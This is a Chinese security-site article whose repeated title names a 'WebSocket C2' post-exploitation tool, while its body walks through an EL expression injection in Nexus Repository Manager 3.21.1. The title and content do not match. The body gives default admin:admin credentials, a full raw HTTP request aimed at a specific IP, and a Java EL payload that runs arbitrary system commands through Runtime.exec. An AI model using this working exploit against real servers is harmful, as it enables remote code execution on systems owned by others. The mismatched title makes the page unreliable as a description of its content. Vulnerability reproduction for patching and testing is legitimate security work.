WebSocket C2 一款后渗透测试工具

华盟原创文章投稿奖励计划

Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。其3.21.1及之前版本中,存在一处任意EL表达式注入漏洞


影响范围:3.21.1

http://download.sonatype.com/nexus/3/nexus-3.21.1-01-unix.tar.gz

修复版本:3.21.2

http://download.sonatype.com/nexus/3/nexus-3.21.2-03-unix.tar.gz

漏洞需要至少普通用户身份,所以我们需要使用账号密码admin:admin登录后台。
登录后,复制当前Cookie和CSRF Token,发送如下数据包,即可执行EL表达式

  1. <font size="4" face="宋体"><font face="宋体" size="4">POST /service/rest/beta/repositories/go/group HTTP/1.1

  2. Host: 188.40.189.134:8081

  3. Content-Length: 203

  4. X-Requested-With: XMLHttpRequest

  5. X-Nexus-UI: true

  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0

  7. NX-ANTI-CSRF-TOKEN: 0.5582255855982864

  8. Content-Type: application/json

  9. Accept: */*

  10. Origin: http://188.40.189.134:8081

  11. Sec-Fetch-Site: same-origin

  12. Sec-Fetch-Mode: cors

  13. Referer: http://188.40.189.134:8081/

  14. Accept-Encoding: gzip, deflate, br

  15. Accept-Language: zh-CN,zh;q=0.9

  16. Cookie: NX-ANTI-CSRF-TOKEN=0.5582255855982864; NXSESSIONID=8788dc3f-7039-4bc1-b3be-eb6e7c0bbe00

  17. Connection: close

  18. {

  19.   "name": "internal",

  20.   "online": true,

  21.   "storage": {

  22.     "blobStoreName": "default",

  23.     "strictContentTypeValidation": true

  24.   },

  25.   "group": {

  26.     "memberNames": ["$\A{233*233*233}"]

  27.   }

  28. }</font></font>

复制代码

WebSocket C2 一款后渗透测试工具


使用表达式

  1. <font size="4" face="宋体"><font face="宋体" size="4">$\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}</font></font>

复制代码

成功执行任意命令

WebSocket C2 一款后渗透测试工具


也可以使用dnslog来确定漏洞是否存在

WebSocket C2 一款后渗透测试工具

华盟知识星球入口

WebSocket C2 一款后渗透测试工具

本文原创,作者:张,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/download/258524.html

发表评论